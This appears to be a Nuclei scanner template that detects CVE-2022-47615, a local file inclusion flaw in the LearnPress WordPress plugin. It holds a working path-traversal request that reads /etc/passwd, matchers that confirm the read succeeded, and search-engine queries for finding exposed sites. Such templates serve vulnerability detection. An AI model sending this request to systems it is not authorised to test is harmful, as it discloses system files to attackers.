CVE-2022-47615: LearnPress Plugin < 4.2.0 - Local File Inclusion

id: CVE-2022-47615

info:
  name: LearnPress Plugin < 4.2.0 - Local File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, remote code execution, or information disclosure.
  remediation: |
    Upgrade to the latest version of LearnPress Plugin (4.2.0 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-47615/tree/main
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47615
    - https://patchstack.com/database/vulnerability/learnpress/wordpress-learnpress-plugin-4-1-7-3-2-local-file-inclusion?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2022-47615
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47615
    cwe-id: CWE-434
    epss-score: 0.8755
    epss-percentile: 0.99426
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: "/wp-content/plugins/learnpress"
  tags: cve,cve2022,wp-plugin,wp,wordpress,learnpress,lfi,thimpress,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - '"status":'
          - '"pagination":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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